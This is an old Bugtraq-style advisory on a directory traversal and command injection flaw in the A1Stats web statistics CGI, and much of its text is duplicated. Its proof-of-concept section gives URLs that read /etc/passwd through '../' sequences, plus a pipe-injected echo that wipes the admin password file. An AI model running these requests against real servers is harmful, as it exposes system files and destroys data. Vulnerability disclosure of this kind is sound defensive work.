Drummon Miles A1Stats Directory Traversal Vulnerability
BID:2705
Info
Drummon Miles A1Stats Directory Traversal Vulnerability
| Bugtraq ID: | 2705 |
| Class: | Input Validation Error |
| CVE: |
CVE-2001-0561 CVE-2001-0562 |
| Remote: | Yes |
| Local: | No |
| Published: | May 07 2001 12:00AM |
| Updated: | Jul 11 2009 06:06AM |
| Credit: | Reported to bugtraq by [email protected] on May 7, 2001. |
| Vulnerable: |
Drummond Miles A1Stats 1.0 |
| Not Vulnerable: |
Drummond Miles A1Stats 1.0 (current) |
Discussion
Drummon Miles A1Stats Directory Traversal Vulnerability
A1Stats is a CGI product by Drummon Miles used to report on a website's visitor traffic.
Versions of this product fail to properly validate user-supplied input submitted as querystrings to the A1Stats script.
An attacker can compose a long path including '/../' sequences, and submit it as a file request to the product's built-in webserver. 'dot dot' sequences will not be filtered from the path, permitting the attacker to specify files outside the directory tree normally available to users.
This can permit disclosure of confidential data and sensitive system files which, if properly exploited, could lead to further compromises of the host's security.
Additionally, by appending a properly formatted echo command argumented by a filename writable by the webserver, this flaw allows the attacker to overwrite this file with A1Stats' output.
A1Stats is a CGI product by Drummon Miles used to report on a website's visitor traffic.
Versions of this product fail to properly validate user-supplied input submitted as querystrings to the A1Stats script.
An attacker can compose a long path including '/../' sequences, and submit it as a file request to the product's built-in webserver. 'dot dot' sequences will not be filtered from the path, permitting the attacker to specify files outside the directory tree normally available to users.
This can permit disclosure of confidential data and sensitive system files which, if properly exploited, could lead to further compromises of the host's security.
Additionally, by appending a properly formatted echo command argumented by a filename writable by the webserver, this flaw allows the attacker to overwrite this file with A1Stats' output.
Exploit / POC
Drummon Miles A1Stats Directory Traversal Vulnerability
(courtesy <[email protected]>):
To test these vulnerabilities, try the following.
www.server.com/cgi-bin/a1stats/a1disp3.cgi?../../../../../../../etc/passwd
www.server.com/cgi-bin/a1stats/a1disp4.cgi?../../../../../../../etc/passwd
These two will give you /etc/passwd.
www.server.com/cgi-bin/a1stats/a1disp2.cgi?../../../../../../../etc/passwd
This will also give you /etc/passwd but it will
show it in a very mangled manner as the CGI adds
HTML tags to what it thinks is a file it created
itself.
One can also open a file and wreck its contents.
http://localhost/cgi-bin/a1stats/a1disp.cgi?|echo%20>a1admin.txt|
will empty a1admin.txt. a1admin.txt contains the
password to change settings of the CGI. When this
file is removed, no one can log in anymore.
(courtesy <[email protected]>):
To test these vulnerabilities, try the following.
www.server.com/cgi-bin/a1stats/a1disp3.cgi?../../../../../../../etc/passwd
www.server.com/cgi-bin/a1stats/a1disp4.cgi?../../../../../../../etc/passwd
These two will give you /etc/passwd.
www.server.com/cgi-bin/a1stats/a1disp2.cgi?../../../../../../../etc/passwd
This will also give you /etc/passwd but it will
show it in a very mangled manner as the CGI adds
HTML tags to what it thinks is a file it created
itself.
One can also open a file and wreck its contents.
http://localhost/cgi-bin/a1stats/a1disp.cgi?|echo%20>a1admin.txt|
will empty a1admin.txt. a1admin.txt contains the
password to change settings of the CGI. When this
file is removed, no one can log in anymore.
Solution / Fix
Drummon Miles A1Stats Directory Traversal Vulnerability
Solution:
The current version of A1Stats is not vulnerable.
Drummond Miles A1Stats 1.0
Solution:
The current version of A1Stats is not vulnerable.
Drummond Miles A1Stats 1.0
-
Drummond Miles 1.0 a1s.zip
http://www.gadnet.com/a1stats/a1s.zip